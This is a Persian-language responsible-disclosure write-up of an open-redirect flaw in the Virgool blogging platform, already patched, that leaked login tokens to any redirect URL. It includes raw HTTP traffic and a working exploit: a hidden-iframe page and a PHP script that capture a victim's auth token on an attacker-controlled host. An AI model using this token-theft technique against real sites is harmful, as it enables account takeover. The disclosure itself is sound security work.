خب این نوشتار مربطو به آسیبپذیری هست که توی ویرگول پیدا کردم، به بچههای ویرگول اطلاع دادم و الان که این پست عمومی میشه، آسیبپذیری مرتفع شده.

داستان به این شکل بود که ویرگول قابلیت domain parking رو به کاربراش میده، برای مثال site.com میتونه یک کپی از virgoo.io/virgoolname باشه. در حالی که توی ویرگول لاگین نبودم، داشتم از سایت https://tech.cafebazaar.ir بازدید میکردم، متوجه یه لینک شدم:
https://virgool.io/authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login
روی لینک کلیک کردم، به سایت اصلی ویرگول منتقل شدم، لاگین کردم و بهصورت خودکار به سایتی که توش بودم برگشتم (https://tech.cafebazaar.ir). اگه بخوایم جریانکاری رو ببینیم (به قسمتهای پررنگتر توجه بیشتر بشه):
GET /authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login HTTP/1.1 Host: virgool.io User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://tech.cafebazaar.ir/ Connection: close Cookie: PHPSESSID=REDUCTED; rec=REDUCTED; XSRF-TOKEN=REDUCTED; vrgl_sess=REDUCTED; _ga=GA1.2.1769807866.1561463323; _gid=GA1.2.215640833.1561463323; _vcfg=%7B%22tpcs_c%22%3A49%7D; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; __cfduid=daf3ea276c68e9eb2200e84f71f8b3ea61561463882; _gat_UA-96394274-1=1 Upgrade-Insecure-Requests: 1
جواب سرور:
HTTP/1.1 302 Found Server: nginx/1.15.9 Date: Wed, 26 Jun 2019 05:45:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: Virgool Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Cache-Control: no-cache, private Location: https://virgool.io/login Set-Cookie: XSRF-TOKEN=REDUCTED; expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/ Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/; httponly X-Frame-Options: sameorigin X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io; img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly chromenull: https: webviewprogressproxy: ; worker-src blob: 'self'; Strict-Transport-Security: max-age=15724800; includeSubDomains Content-Length: 5830
بعد از وارد کردن اطلاعات و کلیک روی دکمه «ورود»:
POST /api/v1.2/login HTTP/1.1 Host: virgool.io User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://virgool.io/login X-XSRF-TOKEN: REDUCTED Content-Type: multipart/form-data; boundary=---------------------------1803676204095613341172964359 Content-Length: 319 Connection: close Cookie: PHPSESSID=REDUCTED; rec=REDUCTED; XSRF-TOKEN=REDUCTED%3D%3D; vrgl_sess=REDUCTED; _ga=GA1.2.1769807866.1561463323; _gid=GA1.2.215640833.1561463323; _vcfg=%7B%22tpcs_c%22%3A49%7D; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; __cfduid=daf3ea276c68e9eb2200e84f71f8b3ea61561463882; _gat_UA-96394274-1=1 -----------------------------1803676204095613341172964359 Content-Disposition: form-data; name="username" y.shahinzadeh@gmail.com -----------------------------1803676204095613341172964359 Content-Disposition: form-data; name="password" REDUCTED -----------------------------1803676204095613341172964359--
جواب:
HTTP/1.1 200 OK Server: nginx/1.15.9 Date: Wed, 26 Jun 2019 05:45:55 GMT Content-Type: application/json Connection: close Vary: Accept-Encoding X-Powered-By: Virgool Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Cache-Control: no-cache, private X-RateLimit-Limit: 1000 X-RateLimit-Remaining: 861 Set-Cookie: auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.REDUCTED; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/ Set-Cookie: jwts=REDUCTED; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/; secure; httponly Set-Cookie: refreshed_token=REDUCTED; expires=Wed, 26-Jun-2019 06:05:55 GMT; Max-Age=1200; path=/; secure Set-Cookie: uid=sb5uevdkih3r; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/ Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 05:45:55 GMT; Max-Age=86400; path=/; httponly X-Frame-Options: sameorigin X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io; img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly chromenull: https: webviewprogressproxy: ; worker-src blob: 'self'; Strict-Transport-Security: max-age=15724800; includeSubDomains Content-Length: 612 {"success":true,"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.REDUCTED.juAVldUazb6ZTMCopRaXzWQGh-6EYnxXjUd8uEK5jDA","previous_url":"https:\/\/virgool.io\/authorize?redirectedFrom=https:\/\/tech.cafebazaar.ir&status=checked","user":{"name":"YShahinzadeh","activated":1,"username":"YShahinzadeh","avatar":"https:\/\/files.virgool.io\/upload\/users\/9091\/avatar\/1xRXC6.png"}}
خب تا اینجا هیچ مشکلی مشاهده نمیشه. ایده فاز کردن URL توی لینک لاگین (https://virgool.io/authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login) اصلا جذاب نیست، چرا؟ برای اینکه فرض کنید بتونیم چنین لینکی رو به قربانی بدیم:
https://virgool.io/authorize?redirectedFrom=https://test.com&status=login
بعد از انجام فرایند لاگین، کاربر به https://test.com هدایت مجدد میشه (تازه اگه چک نشه)، و خب سوالی که پیش میاد اینه: که چی؟ یه Open Redirect ساده هست با ایمپکت پایین. خب اینجا بنظر من قبل اینکه باقی نوشته رو بخونید، تو ذهن خودتون سناریوهای حمله رو که میشه اینجا پیادهسازی کرد ترسیم کنید. اولین چیزی که اون موقع تست کردم و منجر به کشف آسیبپذیری هم شد، این سناریو بود:
چی میشه اگه کاربری که الان لاگین هست، روی لینک کلیک کنه؟
جالب اینه امروز این رو از یک شخص پرسیدم و جواب داد: خب میره اونور یه توکن رفرش بش میده و برمیگرده. یعنی خیلی براش بدیهی بود این رفتار، حداقل برای من توی اون لحظه نبود اما چک کردم. خب درخواست با سشن لاگین:
GET /authorize?redirectedFrom=http://tech.cafebazaar.ir&status=login HTTP/1.1 Host: virgool.io User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: REDUCTED Upgrade-Insecure-Requests: 1
جواب به شدت جالب بود:
HTTP/1.1 302 Found Server: nginx/1.15.9 Date: Wed, 26 Jun 2019 08:34:53 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: Virgool Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Cache-Control: no-cache, private Location: http://tech.cafebazaar.ir/authorize-token?token=sa5uevekit3r&redirectedFrom=http://tech.cafebazaar.ir&nightmode={"value":0,"userMenu":0,"active":0} Set-Cookie: XSRF-TOKEN=REDUCTED; expires=Thu, 27-Jun-2019 08:34:53 GMT; Max-Age=86400; path=/ Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 08:34:53 GMT; Max-Age=86400; path=/; httponly X-Frame-Options: sameorigin X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io; img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly chromenull: https: webviewprogressproxy: ; worker-src blob: 'self'; Strict-Transport-Security: max-age=15724800; includeSubDomains Content-Length: 6482
همون حدث دوستمون درست بود (صد آفرین). کاربر با توکن برمیگرده سمت صفحه اولی که توش بوده. خب چی میشه اگه ما بتونیم به این توکن دسترسی داشته باشیم؟ میتوینم بجای کاربر لاگین کنیم (بدون داشتن نامکاربری و گذرواژه)، در واقع اکانت رو تصاحب کنیم. با چه آسیبپذیری میشه این توکن رو سرقت کرد؟ دقیقا... Open Redirect که همیشه در حقش اجحاف میشه. تست کردم:
GET /authorize?redirectedFrom=http://localhost/&status=login HTTP/1.1 Host: virgool.io User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close ...
و جواب:
HTTP/1.1 302 Found Server: nginx/1.15.9 Date: Wed, 26 Jun 2019 08:42:40 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: Virgool Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Cache-Control: no-cache, private Location: http://localhost/authorize-token?token=sb5uevdkih3r&redirectedFrom=http://localhost/&nightmode={"value":0,"userMenu":0,"active":0} ...
و تامام. حساب تصاحب میشه، از این قسمت به بعد وارد فاز اکسپلویت کردن میشیم. کد اکسپلویت:
<style> iframe { visibility: hidden; position: absolute; left: 0; top: 0; height:0; width:0; border: none; } </style> <center><img src="troll.jpg"></center> <iframe src="https://virgool.io/authorize?redirectedFrom=http://localhost/v/g.php&status=login"></iframe>
محتویات صفحه g.php:
<?php file_put_contents('hacked.html', '<html><meta content="text/html;charset=utf-8" http-equiv="Content-Type"> <meta content="utf-8" http-equiv="encoding">=\'http://virgool.io/authorize-token?token=' . $_GET['token'] . '&redirectedFrom=https://virgool.io&nightmode={"value":0,"userMenu":0,"active":0}\''); ?>
وقتی قربانی در حالی که توی حساب ویرگول خودش لاگین هست، از سایت مهاجم بازدید کنه، چنین درخواستی رو برای سرور ماجم میفرسته که توکن اصالتسنجی توش هست:
GET /authorize-token?token=sa5uevekit3r&redirectedFrom=http://localhost/v/g.php&nightmode={%22value%22:0,%22userMenu%22:0,%22active%22:0} HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/v/
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
و مهاجم میتونه با این توکن بهجای کاربر لاگین کنه. این هم لینک ویدئو اثبات آسیبپذیری که درک خیلی خوبی از شدت حمله میده:
https://www.youtube.com/watch?v=ofXsnM7UozY
در آخر هم جا داره تشکر کنم از تیم فنی ویرگول که بسیار خوش برخورد بودن و بانتی (اصلا مبلغش مهم نیست) به این آسیبپذیری اختصاص دادن، همچنین سرعت عمل بسیار بالایی در دریافت و صدور وصله امنیتی داشتن.